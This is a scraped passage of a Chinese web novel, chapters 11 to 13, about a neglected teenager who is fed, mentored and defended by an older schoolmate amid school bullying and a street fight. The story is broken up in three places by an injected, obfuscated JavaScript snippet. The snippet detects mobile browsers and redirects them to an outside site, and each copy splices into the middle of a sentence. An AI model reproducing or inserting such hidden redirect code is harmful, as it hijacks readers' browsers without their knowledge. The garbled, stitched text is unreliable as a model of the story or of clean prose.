“妈。”方程说,“昨天是他生日。” “昨天也是那混蛋进监狱的日子,也是你妈丢人丢到家的日子!”林真真猛地摘下墨镜,瞪着他吼道:“这些年街坊邻居都是怎么传闲话的你忘了吗!” 方程缓缓低下了头,整个人忽然变得很沉默。 “以前也不带,怎么不见你问!”林真真冷冷地看了他一眼,踩着高跟鞋走了。 明明是黄昏时分,方清珏却觉得这日头比正午还要毒。他踢走一颗石子,石子滚着滚着滚进一家招牌又旧又破,连字都看不清的理发店。 这家店是一个老太太开的,虽然就在学校后门,但他从来没来过。这会儿也不知道怎么了,突然就想把头发剃光,看林真真还会说什么。 方清珏拐进店,见一个打扮得很时髦的老太太坐在收银台后面,端着碗吃饭。他还没来得及说话,江川就端着碗从收银台后面的偏屋里走出来了。 四目相对的一瞬间,两个人都愣了愣。 “剪头发?”老太太白发苍苍,至少得有六七十岁,眼神却很亮,表情也透着童真,仿佛仍保持着年轻的心态。 方清珏嗯了一声,“剃光。” 江川一听,兀地笑了:“谁惹你了?拿头发撒什么气。” “才没有。”他有点尴尬,心想这人怎么总是能一眼看穿他。 “吃了吗?”江川问。 “没。” 老太太一听,抬起凳子往一旁挪了挪,笑得和蔼可亲:“那一起吃,添双筷子的事。” 江川也笑了一下,解释道:“外婆喜欢人多,总说人多吃饭香。” 原来她就是陈婆。 方清珏摇了摇头:“我不饿。” “吃吧,省得你回家还得做。”江川走过来拽走了他单肩背着的书包,放在一边的椅子上,“吃完我给你剪。” 他有点吃惊:“你还会剪头发?” 闻言,江川眉棱一挑,指着地面问:“这是哪儿?” “理发店啊。” “那我会剪头发很奇怪么?” 方清珏:“……” 一副碗筷塞进手里,江川又去偏屋取了一趟。方清珏刚想说真不用,陈婆就往他碗里夹了块排骨,“喏,这块肥瘦适中,不腻的,吃吧!” 方清珏没办法再推辞,心想一会儿多给点理发钱吧,也不知道兜里那点钱够不够用。 江川家的晚饭是土豆豆角炖排骨,用一个不锈钢大盆装着,土豆炖成了泥,排骨也软烂得脱了骨。 陈婆用土豆泥拌饭吃,偶尔会吃两口豆角,几乎没动过排骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139900|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。江川时不时会用公筷剃一些肥瘦相间的肉往她碗里夹。 方清珏第一次在别人家吃饭,有点拘束,压根不好意思伸筷子,就也用土豆泥拌饭吃。 “你怎么回事?”江川用公筷往他碗里夹了一大块排骨,“陈阿美女士牙口不好,啃不了骨头,你小小年纪牙也不行了?” “……”方清珏不知道该说什么,只好说:“我不爱吃排骨。” “撒谎也不晓得打草稿,你们这个年纪的小男孩哪有不贪肉的咯。”陈婆嘀咕着往他碗里夹了几块脱骨肉,“老太婆我没那么多事儿,你就跟在自个家一样,想咋吃就咋吃。” 方清珏抬眼看着陈婆,默默握紧了筷子。 进屋有一会儿了,此时此刻,他才认真且郑重地打量起这位慈祥的老人。 这个年纪的人经历过文-革,大-跃-进,改革开放,见证过祖国的发展和时代的进步,气质往往是沧桑的,充满故事感的。 但陈婆没有。 她瘦弱,矮小,没像其他老人那样刻意染黑头发,或者为了掩盖发量太少而烫成卷,而是端端正正的盘到脑后扎成低丸子头,看起来干净利落,知性优雅,很精神。 从那双炯炯有神的眼睛就能看出,她年轻时也是一名美丽女子,岁月并没有令她的美貌减少半分,只将气质沉淀得更突出,更浓厚。 “吃啊。”陈婆催促着。 方清珏的心情忽然变得很复杂,就像在一个不应该被阳光照耀的地方错位地看到了具象化的日光。 他低下头,把肥瘦相间容易嚼的肉剃下来给陈婆,声音也低了下去:“阿婆也吃。” 陈婆“诶——”了一声,尾音拉的有点长,“这就对嘛,一起吃。” 方清珏嗯了一声,嗯完发现声音有点嘶哑,便用力清了清嗓子。 江川起身去了趟后厨,回来时手里端着一碗汤,放在他面前:“去暑的,你尝尝。” 陈婆也是广东人,估计和林真真一样喜欢煲汤,方清珏只闻了闻就知道这是老鸭汤。 他突然想起冰箱里还有不少油柑,那东西也清热凉血,就是不知道陈婆吃不吃得惯。 理发店的壁挂电视放着抗日神剧,陈婆边看边吐槽,时不时给方清珏夹一筷子菜。 不知不觉,那份裹挟他的局促消失了,整顿饭都吃得极其轻松,舒服。但方清珏依旧不好意思,吃完饭想帮忙收拾碗筷,被江川拦了下来:“你去把头洗了,一会儿直接剪。” 闻言,他用手指着自己,诧异道:“我自己洗?” 江川:“不然呢?” 方清珏:“……” 他忽然感觉自己进了家黑店。 洗完头坐在镜子前等着理发的时候,兜里的手机震了震,是方程发来的,问他剪完头发没。 方清珏回复:没。 -这么久? -刚刚在吃饭。 方程没再回。 江川洗完碗筷走过来,拿起剪子问:“想剪个什么样的?” “不知道。” 江川看着他长得有点凌乱的头发,问:“你是不是不喜欢短发?” 方清珏嗯了一声。 江川了然道:“我知道了。” 方清珏对他的技术没什么信心,听他这么说顿时感觉有点害怕:“你知道什么了?” 江川从收银台那拿了本杂志过来,翻到一页给他看:“狼尾鲻鱼头,前面短后面长,学校应该不会管。” 方清珏的心再次被江川震撼到了,他不敢相信的问:“这,你确定能剪出来?” “不试试怎么知道?” 他咬了咬牙,突然为今天一冲动走进这间理发店而感到后悔。 但江川没给他反悔的机会,手起刀落就剪掉了一大截头发,看得方清珏肝疼,干脆闭上了眼睛眼不见为净。 半个多小时过去,江川凑到他耳边说:“要不还是剃了吧?” 电推剪的嗡嗡声响在耳边,方清珏啧了一声,睁开眼睛:“我就知道——” 剩下的话卡在喉咙里说不出来了,他怔怔地看着镜子里的人,有点不敢相信。 “你这不是剪出来了吗?”虽然不是和杂志上的一模一样,但八九不离十。 “逗你的,瞧你刚才那视死如归的样儿,对我这么没信心啊。”江川收起电推剪,解下围布抖了抖上面的碎头发,“作业写完了吗?” “还剩点。” “哪科写完了,我检查一下。” 方清珏感觉有点莫名其妙。 这个人和他非亲非故,第二次见面就要检查他作业,连林真真都没说过检查他作业。 但更莫名其妙的是,他真的乖乖跟着江川进了偏屋,一起坐在书桌前写作业。 真邪门。 把作业递给江川时,他还在想,一定是那碗饭的问题,那饭里肯定下药了。 11. P.校园暴力 江川大致看了看,将错题标出来,给他讲了一下解题思路。方清珏有点走神,也有点恍惚,根本没认真听他说话。 “发什么愣,听懂了没?” 方清珏缓缓看向他:“你不觉得奇怪吗?” “奇怪什么?” “我为什么不会这道题,这是一道数学题啊。” “数学题怎么了?”江川说,“这是拔高题,你不会很正常,老师又不会讲,也就方程那种二愣子才会买这种练习册送人。” 方清珏依旧看着他,强调:“可我是方程的弟弟。” 江川听罢,朝他歪了歪头,有些好笑地问:“那又怎么样?” 是啊,那又怎么样。 方程从小数学满分,拿过无数竞赛冠军。他是天才,难道他就也得是吗? 江川:“是不是有人对你有方程滤镜,觉得天才的弟弟不应该不会这种题?” 方清珏没说话。 他想起刚上一年级的时候,他的班主任对他有很大的期待,特意给他准备了一套很特别的习题集,想培养他参加小学奥数竞赛。 结果他一道题也做不出来,班主任很失望,“怎么会呢?你不是方程的弟弟吗?” 他的失望像一根刺扎进了方清珏的心里。后来,他拼了命地学习,却始终达不到方程的高度。 期末成绩出来后,周遭人的眼光有如实质,压得方清珏喘不上来气。他不想再看见这样的目光,不想再听见“你怎么能不会呢”这句话,从此没再问过任何人题。 会就会,不会就摆烂。 “你哥也不是天生就会这些的,都是林姨请的那些教授一点点教的。你从没补过课,能学到这个程度已经很好了。”江川提笔出了几道题:“你做下我看看。” 方清珏一一做完,江川边看边点头:“很聪明,一点就通。” 第一次有人说他聪明。 方清珏攥紧了碳素笔,手几不可见地发着抖。 江川将他的作业收好,规整地放在桌边,然后从书包里拿出自己的作业:“把没写完的写了吧,写完再回去,你哥这会儿估计不在家。” 方清珏:“你怎么知道?” 江川低眉浅笑,“他佳人有约啊。” 方清珏:“???” “他早恋?”方清珏诧异极了,“他那样的居然也有人喜欢?!” 操。 这姑娘究竟是什么眼光? “早什么恋,他都成年了。” “我妈知道怕是会疯。” “所以得瞒着她呀。” 江川眨了眨眼。 不太行。 方程压根不会撒谎,怕是瞒不住。 “多久了?”他问。 “得两个月了吧。”江川说。 啧。 没想到方程这种连吃喝拉撒都追求效率的人,竟然会浪费时间谈恋爱。 方清珏觉得这个世界突然就变得魔幻了起来。 “你有题不会怎么不去问你哥呢?”江川问。 “以前问过。”方清珏的眼睛忽然暗了下去,“他总用我没学过方法解题,我看不懂,他也讲不明白。” 江川笑着摇了摇头,“他在学校也这样,好几次嫌老师教的方法笨,上课上到一半突然跑讲台上纠正,给裴老气得胡子都歪了,罚他去走廊站了一节课。” 方清珏:“……” 他越来越想不通:“那姑娘究竟喜欢他什么?” 江川由衷地说:“你哥成绩好,长得帅,情绪稳定还不会撒谎,大概率也很专一,这样的男人打着灯笼都难找。” 可他生活自理能力为零啊。 方清珏想起班里有几个女生崇拜方程,觉得他是数学之神,不由得啧了一声:“帅吗?也就那样吧,他又不是校草。” 校草本人听见不置可否地笑了笑,“审美这个东西很私人,各花入各眼,你觉得一般别人可能就觉得很帅。” 方清珏暗暗啧了一声。 如果审美真的很私人,那他岂不是统一了八中的审美? 太臭屁了吧。 他瞬间不想再理这个人。 江川埋头写起了作业,没有说话的意思,屋子里忽然安静了下来。 陈婆也看完了电视,打开音响单曲循环一首八十年代的粤语歌,风格和理发店很有年代感的装修一样,都是浓浓的港风。 “没法隐藏这份爱,是我深情深似海……让我的爱全给你全给我最爱,地老天荒仍未改。” 轻柔的旋律顺着敞开的门缝流淌进来,方清珏的注意力都被听不懂的歌词勾跑了,不知不觉,天就黑了。 江川看了眼手机,站起身来:“时间不早了,我送你回去。” “不用,没几步路。” 方清珏将东西都收进书包。 “走吧。”江川坚持,“你家那边儿的炸串挺好吃,正好我有点饿了。” 方清珏:“……” 他仔细想了想,这人好像真的没吃多少饭,汤喝的比较多。 理发店离海角街不算远,走路大概十几分钟。方清珏和江川并肩走在马路上,路灯将两个人的影子拉得很长。 他走着走着,故意踩了一脚江川的影子,江川很轻地扬起唇角,追过来也踩他的影子。 晚风拂过,空气中浮动着淡淡的香气,像咸而不腥的海风,又像鲜切柠檬片上粘着几颗粗粗的海盐,味道很清新。 方清珏有一刹那的失神,江川便踩了他的影子跑远了。他立刻追了上去,分不清自己追逐的到底是影子,还是这抹似有若无的香气。 两个人较着劲谁也不肯再让对方踩了影子,又都想踩对方的影子,跑得一个比一个快,不知不觉就跑到了海角街。 方清珏停在路边的银杏树下,胳膊支着膝盖,不断喘着气。江川面对面地站在他跟前,脚下就是他的影子。他像个打了胜仗的将军,气喘又得意地说:“踩到了。” 方清珏抬眼看向他。 夜空低垂,月亮盈圆皎洁,看起来很大,仿佛离他们很近很近,触手可及一般。江川背对着圆月,身后是一整片星空,繁星璀璨明亮,却不及那双琥珀色的眼眸夺目。 疏疏的树,婆娑的影,薄暮仿佛一层朦胧又暧昧的纱幔,将他们两个人圈捆在一起。 两个人目光对上的一刹那,好像有风吹响了枝丫,方清珏听见了密叶颤动的簌簌声,又仿佛什么都没听到。 “口琴练得怎么样?”江川问。 他没问练了没,而是问练得怎么样,就像笃定他一定练了似的。方清珏垂下眼,说:“还没练。” 江川直起身,朝他伸出手,“有不会的题就问,别不好意思,不想问别人就问我。” 方清珏看着伸到面前的手,才发现他的手很漂亮,手指修长,很有骨感,只是皮肤没有女生那么白,是很健康的自然肤色…… 奇怪。 他蓦然收回视线,心想,我拿他和女生比什么,有病吧。 他挺直腰背站起来,没借江川的力,江川便收回了手,转过身顺着海角街的大坡往下走。方清珏跟着他进了炸串店,从冰柜里拿了罐冰镇可乐,走到柜台上结账。 江川拿着餐盘在柜台选了会炸串,选好转身的时候,见方清珏掏出许多一元纸币一张张地递给老板,忙走过去拦了一下:“怎么能让你付钱?” 老板数了数,又看了看江川餐盘里的串,找回来三张纸币。 “这你就不知道了吧。”方清珏收好钱,拿起可乐头也不回地往出走,“这叫礼尚往来。” * 下一节是体育课。 方清珏去器材室取标枪,刚拐进走廊就看见陈序吊儿郎当地站在门口。 两人目光一对上,陈序就饶有兴致地勾起了唇角,笑得痞里痞气:“这不是咱班的窝囊废么。” 他说话时,器材室里传来一声响亮的巴掌声。 “就你,也配喜欢方程?” 声音是个女生。 方清珏顿时明白了怎么回事。 十六七岁的孩子中二且幼稚,总有几个特别幼稚的做着大哥梦。陈序就是初中部大哥,不仅霸凌别人,有时候还会帮霸凌的人望风。 他往那一杵,傻子都知道避让,自然没人敢告诉老师,连被霸凌的人都不敢。 方清珏懒得多管闲事,转身正准备走,就听见器材室里传来更响亮的巴掌声和低低的哭声。 那声音呜呜咽咽的,像是哭泣的人本不想哭,或者说不想当着他人的面哭,但实在受不了了,所以哭得极其压抑。 这让他想起那些已经过去的无数个夜里,缩在角落里的自己。 方清珏脚步一停,面无表情地看了陈序几秒,倏地朝他走了过去。 陈序扬起眉毛,稀奇地“嗯?”了一声。 蹲在他后面抽烟的两个男生见状也站了起来,方清珏冷冷地扫了他们一眼,猛地抬脚踹开了器材室的大门。 一个短头发的女孩子跪坐在地上,面前站着一个扎着马尾辫的女生。她的手还扬在空中,听见声音就抬眼看了过来。 “怎么回事?”她皱着眉头看向陈序,“陈序,你还想不想要那二百块钱了。” 方清珏恍然大悟,心说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139901|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪不得他总帮那些不认识的人望风,原来是有钱赚啊。 俗话说,断人财路如同杀人父母,陈序看过来的眼神立刻变了。 他骂骂咧咧地走过来,眼底有意外,有恼火,也有防备,“又皮痒了是吧,上次揍得不够狠是不是?” 他推搡着方清珏,将他推进了器材室,那两个男生关上门,继续守在门口。 “想英雄救美,可你有这个能耐么。”他边说边拍方清珏的脸,满眼不屑,“你说你爸明明是个杀人犯,怎么会有你这么个窝囊儿子,怪不得他不要你。” 话音一落,只听咚地一声,陈序捂着鼻子痛得弯下了腰。方清珏又抬腿踹了一脚,踹得陈序踉跄着后退好几步,差点摔倒。 “操,你敢还手?”他震惊无比地喊着,喊完就一把拉开铁门,守在门口的两个男生见状,当即扑了过来。 “给我往死里打!”陈序捂着鼻子喊。 但事情和他预料的大相径庭,方清珏踹翻其中一个,又将另一个按在地上,动作稳准狠,利索得连马尾辫都看呆了。 “还不走?”他扭头看向跪坐在地上的短发女生。 女生像刚回过神似的爬起来往出跑,马尾辫见状,立刻追了上去,被方清珏拦了下来。 “你喜欢方程,肯定知道我是谁。”他说,“你没必要这样,他有女朋友了。” 马尾辫一听,更吃惊了:“这怎么可能……他怎么会早恋?” 陈序松开捂着鼻子的手,发现掌心里都是血。 “操,你他妈长能耐了是吧!”他说着就要冲过来动手,方清珏立刻拿起标枪,用尖锐的一端指着他。 陈序倏地停住了脚步,骂骂咧咧道:“有本事你放下标枪!” “没本事。”方清珏说着就扛起标枪走了出去。 “你哥的女朋友是谁啊?”马尾辫追出来问。 “反正不是你。”方清珏想了想,又加了一句,“也不是她。” 离开器材室,他朝平时练枪的地方走过去,见那个被霸凌的短头发等在那里,不禁有点稀奇。 短头发一看见他便怯怯地迎了上来,头低得很低,像是不敢看他,“谢,谢谢你。” “我只是进去取标枪,”他说,“没想帮你。” 她用力摇了摇头,“那,那也要,要谢的。” 方清珏垂眼,视线上下扫视着她,“你很紧张?” 她点了点头,又立刻摇了摇头,“我,我是结,结巴。” 方清珏当即沉默了。 就在这一秒,他突然知道她为什么会被霸凌了,也有点庆幸今天路过器材室的人是自己。 “要上课了。”他说,“赶紧回去吧。” 女生郑重地朝他鞠了个躬,转身跑远了。 陈序被他那一拳打得不轻,体育课都没露面,请假去了医务室。 放学的时候,方清珏低头收拾着书包,感觉肩膀被人拍了一下,然后就听见了陈序的声音:“走吧。” 他默默在心里叹了口气。 最烦这种打来打去的校园暴力了。 今天你打我,明天我打你,没完没了,幼稚又无趣。 他将书本笔袋收进书包,表情和语气都淡淡的,给人一种极其嚣张,也极其欠扁的感觉,“我给你时间,你把你能找的人全找过来,一次性解决。” “行。”陈序用食指指着他,“你可别后悔。” 出了校门,方清珏跟着陈序他们拐进学校后面的胡同。陈序打了几个电话,方清珏则懒散地倚着墙,低头玩online五子棋。 “等会儿有你好受的!”他挂电话时这么说。 方清珏无动于衷,甚至有点期待。 以往陈序的找茬儿都有点小打小闹,他没还过手,顶多擦破点皮,林真真没在意过,方程更没什么反应。 今天他破天荒地动手了,陈序肯定不会善罢甘休,他想知道今天要是被打伤了,或者是打残了,林真真会是什么反应。 一盘五子棋下完,巷子里走进来不少染头发的社会青年,一看就是道北那一片整日游手好闲的混混。 领头的是个寸头,看见方清珏时噗嗤一声笑了出来,对陈序说:“你有没有搞错,就这么一个小屁孩你让我带这么多人来?” 陈序:“他自己要求的。” “传出去都不够丢人的。”那寸头转身摆了摆手,“走了。” “别啊。”方清珏说。 闻言,寸头和陈序一起回过头,有点纳罕地打量他。 方清珏收起手机,朝他们勾了勾手指头,淡淡开口:“你们,一起上吧。” 12. P.区别对待 寸头是个单眼皮,不露声色地盯着你看的时候,带着难以言喻的压迫感。这若换了别人,定是不敢跟他对视的,别说出言挑衅了。 可方清珏今天就是来找死的,自然不甘示弱地盯了回去。 寸头偏头吐了口唾沫,抬脚走了过来,看样子是打算自己动手。这时,胡同的另一端突然传来了吹口哨的声音。 “嗳,这不是耳东吗?”说话的应该是东北人,带着那边的口音。 陈序扭头看过去,立刻像老鼠见了猫似的变了脸色:“川哥……” 方清珏的心重重地跳动了一拍。 他缓缓侧过头,见江川和一个穿着八中校服的胖子从胡同深处走了出来。 他逆光而行,夕阳和朝霞都被甩在身后,只在周身留下一层淡淡的光晕,仿佛整个人都在发光。 “你们都杵在这干嘛呢?”胖子说,“开大会吗?” 陈序顿了顿,才说:“……有点私事。” “什么私事?”江川站在方清珏旁边,身姿挺拔,“不会是要欺负我弟吧?” 陈序瞪目结舌地指着方清珏,“就他?” 方清珏啧了一声,很不给面子地问江川:“谁是你弟?” “哎呀!”胖子颇为欣赏地看向方清珏,“川哥,你老弟挺有个性啊。” 方清珏移眸看过去,梅开二度:“谁是他弟?” 胖子噗嗤一声笑出来,像看戏的吃瓜群众似的,一脸幸灾乐祸。他勾着江川的肩膀头,熟络地问着:“咋回事,你弟咋不肯认你呢。” “是呢。”江川偏头看过来,眉尾微扬,眼里有很淡的笑意,“怎么回事呢?” 方清珏错开视线,“我没瞎认哥的习惯。” 寸头暗暗打量了一会儿,插言道:“耳东,这两人谁?” 陈序有点为难地“呃——”了很长一声,像在寻找合适的措辞。 他沉吟片刻,回道:“……邻居。” “邻居啊。”寸头看向江川的目光并没有陌生,反而充满探究,像是对他特别感兴趣。 胖子皱了皱眉,立刻挡在江川面前,说:“川哥,你带他先走。” 方清珏不大乐意:“为什么是我先走?” “嘿?”胖子斜了他一眼,“真不愧是方程的弟弟,和他一样轴。” 方清珏更不高兴了:“少把我和他扯一块。” “让你走你就走。”江川推了他一把,将他推远了。 寸头听见‘方程’两个字,目光又落回方清珏身上,上上下下地打量,神情变得有些莫名。 “我可没说这小子能走。”他说。 胖子立刻严肃了起来:“你什么意思?” 寸头扯起一侧唇角,笑得有点邪气,“听不懂中国话?” “嘿!”胖子来劲了,“今天我就让人知道知道,八中的麻烦不是那么好找的!” 眼看两方都磨拳擦掌,陈序赶忙做和事佬,可话没说上几句,就被寸头推开了。 他带来的不良少年立刻将陈序以及陈序周围的学生都推出了包围圈,看样子,这场群架已经迫在眉睫,必不可免了。 “让开!”方清珏扒拉开江川,扬手就将书包朝寸头的脸砸了过去。 这个举动仿佛是一个摔杯信号,两方立刻冲到一起打了起来。 方清珏挡在江川前面,想护着他,没想到这人看起来斯斯文文的,不像是靠拳头说话的那种人,打起架来却透着一股不要命的疯劲,瞬间就撂倒三四个,还笑着反擒拿按地上一个。 他抓着那人的胳膊,顺着胳膊肘屈伸的方向反着按了一下,就听咔嚓一声,又一个人胳膊脱臼了。 方清珏心下大惊,表情诧异极了。 “操!我们也上!不能丢了八中的脸!”八中的几个学生也跟打了鸡血似的一拥而上。 陈序迟疑一瞬,也冲了上来。 他们一加入,八中在人数上不再处于劣势,胖子皮糙肉厚,像活肉盾似的冲在前面,下手极黑。 十几分钟后,两方都有人挂了彩,谁都没占到便宜。料到寸头不会就这么算了,江川主动将事揽了下来,说:“给你时间找人,我天天在这,随时约。” 寸头右边脸被书包砸得一片青紫,盯向江川的目光里带着杀气,令人脊背生寒。 “你要帮他扛?” 江川站在众人前面,与他面对面地对峙:“方程是我朋友,想动他,先来找我。” “行。”寸头用食指点了点江川的肩膀,“我记住你了。” 随后,他又指向陈序,“还有你。” 陈序动了动唇,却什么都没有说。 “走!”寸头踢了踢躺在地上被卸了胳膊的小弟,扭头走出了胡同。 等他们人都走光了,江川甩了甩刚刚疯狂锤人的那只手,回过头来朝方清珏笑:“终于肯反抗了?” 胖子拍了拍他的肩膀,颇为意外地说:“可以啊,你这不是挺能打吗?” 方清珏有点莫名其妙:“我有说我不能打?” “那倒是没说过。”胖子挠了挠鼻尖,侧过脸与江川对视一眼。 这一眼很复杂,方清珏只看懂了疑惑,于是他也跟着疑惑了起来。 陈序也看过来,明显是想说什么,江川瞥了他一眼,他就立刻闭嘴了。 “散了吧。” 江川捡起方清珏的书包,拍了拍上面的灰,反手甩到肩上背着,朝胖子歪了下头,“去店里。” 胖子冲陈序挥了挥手,示意他们赶紧撤。陈序意味深长地睇过来一眼,带着其他几个八中学生一起走了。 “走吧老弟。”胖子伸出手来想揽方清珏的肩膀,被他侧身躲开了。 “嘿?”胖子不满地瞪着他。 方清珏没搭理他,用大拇指擦掉唇角的血就跟在江川身后走了。 “嘿!”胖子嗓门更大了,喊完瞪了他的背影几秒才跟上来。 三个人跟走队列似的走成一条竖线,陆续进了理发店。陈婆正在给客人理发,看见方清珏时眼睛一亮,笑道:“方仔来啦?” 胖子一听,立刻伸长脖子往她面前凑了凑,“阿婆,我也来了,你怎么看不见我呢。” “肥仔来啦?” 胖子:“肥仔也太难听了吧。” “伍仔来啦?” “别贫了,赶紧洗手去。”江川拍了他一下,示意他去洗手间,然后就抓着方清珏的手腕进了偏屋。 方清珏垂眼看着抓着自己胳膊的手,隐约间,又闻到了那股清新的香气。 这味道很特别,很有层次,就像在海边捏爆了一颗新鲜的柠檬,柠檬味伴随着咸咸的海风一起迎面袭来的感觉。 他眨了眨眼,鬼使神差地问:“你用的什么牌子的沐浴露?” “什么?”江川没听清,回过头来问了一句。 “没。”方清珏立刻避开了他的视线,“没什么。” “傻了吧你?” 江川将书包放在写字桌上,按着他的肩膀让他坐下来,又拉开抽屉,拿出里面的碘酒和棉签,然后弯着腰,小心翼翼地处理他手上的伤。 “还行,只是看着吓人。” 方清珏微微一怔,心里泛起一股说不清道不明的感觉,酸酸胀胀的。 那群混混下手不知轻重,好在都没带管制刀具,一番架打下来受的都是皮外伤,而且没伤到脸,不然江川也不会将人带到陈婆这。 但方清珏打架时有好几拳砸到了铺着碎石子的墙上,手指关节血糊糊的,看起来有点吓人。 “我自己来吧。”方清珏没被这样照顾过,十分不习惯,下意识往出挣了一下。 “别动。”江川的语气很强硬,动作也很强势,立刻将他手又拽了回去,“右手伤成这样,我看你今晚回去怎么写作业。” 胖子洗完手和脸走进来,看见这一幕,哎呀了一声,“川哥,这不公平啊,我手上还破了口子呢,你怎么不管我?” 江川偏过头,朝他抬了抬下巴:“来我看看。” 胖子立马伸出了手。 “哎哟,好大的口子啊。”江川抓着他的手用力往出挤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139902|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血,“这还不赶快挤,一会儿愈合了该挤不出来了。” “我操,滚啊你。”胖子抽回手甩了两下,白了他一眼,“你个狗,区别对待!” 江川:“今天那个人有点不对劲,他听见方仔是方程弟弟才非要动手的。” 胖子秒懂,“是冲着书呆子来的?” 江川点头:“你去问问陈序怎么回事,他应该没说实话。” “行。”意识到问题的严重性,胖子没多留,立刻走了。 方清珏抬眼,饶有兴致地注视着江川:“方仔?” “怎么,难不成你很大么?”他拿出纱布包扎,认真地连头都没抬。 “没准比你大。” 话音落地几秒,江川才反应过来什么,抬起手来想敲他的头,“学坏了啊,成年了吗就开车啊你。” 方清珏往后躲了一下,以至于江川的手扑了个空,“那你们还早恋呢。” “谁早恋?”他收回手,撑在书桌边,“你早恋了?” 也许是离得太近,他说话时有微弱的气流迎面扑到了过来,像柠檬味的海浪。方清珏的睫毛颤了颤,忽然偏过头,声音低低地回了一句:“我才没有。” 他声音太小,有点心虚似的。江川“啊——”了一声,尾音拉得很长,听起来有点意味深长。 “没事。”他低头,将沙布打成结,“我不会告诉你哥的。” 话音一落,方清珏骤然抽回手,“关他屁事。” 他抓起书桌上的书包,拧着眉道:“别总把我和他往一块扯。” 说完,他就扭头跑了出去。 “哎?”陈婆站在门口,刚准备进来,差点与方清珏撞在一块。她望着方清珏的背影,有点纳闷地问:“点都走咗,肥仔唔留低食饭呀?” (怎么都走了,胖子不留下来吃饭吗?) 江川嗯了一声,“他有事。” “咁方仔呢?仲想多谢佢送来嘅油柑酒呢。” (那方仔呢?还想谢谢他送来的油柑酒呢。) “他得回去做饭。”江川将碘伏纱布都收进抽屉,“晚了怕是会挨说。” 陈婆叹了口气:“档上咁个阿爹,又有个偏心嘅阿妈,都系可怜。” (摊上那么个爹,又有个偏心的妈,真可怜。) 江川有点意外地问:“外婆怎么知道?” “唉。佢屋企嗰啲事都传咗十几年,呢一片儿边个唔知。” (他们家的事传了十几年,这一片哪个不知道。) “因为他爸吗?”江川问。 “点止啊。”陈婆望着方清珏离开的方向,摇了摇头,“咁多年都冇一件新件衫,连鞋都唔合脚嘅,呢娃忒可怜。” (何止啊,这些年连一件新衣服都没有,连鞋都是不合脚的,这娃忒可怜。) “外婆。”江川眉眼间的线条有极细微的变化,像是被这番话牵动了某根极其脆弱的神经,“你当初也是这么可怜他的吗?” 闻言,陈婆的眸光变深了,视线虚虚落在街上,神情变得有些悲伤,宛如在暮色中窥见了斑驳的光阴和论不出好坏的过往,“你仲憎佢呀?” (你还恨他吗?) 江川摇了摇头:“我不知道……” 理发店倏然安静下来,谁都没再开口。良久,陈婆收回了视线,轻轻地摇了摇头:“佢比你阿爸可怜得多。” (他比你爸可怜得多。) 江川抬起眼眸,望向海角街那片马卡龙色的海景房。 港城临近首都,开车也就两个多小时,所以会有些非富即贵的大人物来这边度假,这片海景房就是专门给他们盖的,是港城最贵的房产。 住在那里的人都不差钱。 方清珏住在那里,却几乎天天穿八中校服,哪怕放假也是一身校服。 因为从小到大,他身上穿的,手里用的,肩上背的,每一个都是方程用过且淘汰的。 “他妈不是偏心。”江川脸上挂着得体的微笑,目光却像极地冰川的雪,冷得彻骨,“是心里根本没有这个儿子。” 13. P.尾波冲浪 今天周五,林真真公司有例会,通常都会回来的比较晚,方清珏就没着急做饭。 他在书房门口晃悠了几圈,想到方程学习的时候根本不理人,哪怕你拿个喇叭在旁边喊他都不会理你,便转身下了楼。 林真真回来时神色很疲惫,像刚徒步穿过沙哈拉沙漠的旅者,连说话的力气都没有,一进屋就朝方清珏摆了摆手,示意她今晚不吃饭了,然后就径自上了楼。 方清珏给方程发了条短信,几分钟后方程才下来。林真真不在,饭桌上没人说话,气氛却很放松。 他看了方程几眼,又用筷子戳了戳碗里的饭,低声问:“你最近得罪谁没?” 闻言,方程一脸懵-逼地眨了眨眼,然后说:“没有,为什么这么问?” 方清珏不太信,以方程的情商,很可能得罪完了都不知道。 “你确定?” 方程认真地回想了一番,很肯定地点了点头,“怎么了?” “没事。”方清珏低下头继续吃饭,“我就随便问问。” 他这一说话,方程的注意力才分到他身上,看见了他手上裹缠的纱布。 “你手怎么了?” 方清珏沉吟了几秒,说:“切菜划到了。” “下次小心点。” “呵。”方清珏斜了他一眼,“用得着你说。” 周六放假,他早起做完饭,将他们三个人这周换下来的脏衣服洗了一遍,晾在院子里,顺便浇了遍花。 忙活完家务,方清珏端着一盘洗干净的油柑果回房,路过书房时发现门敞开着,林真真站在书桌前,不知道在和方程说什么。 他没兴趣听,回房关上门,坐在书桌前边写作业边用油柑果蘸白糖吃。 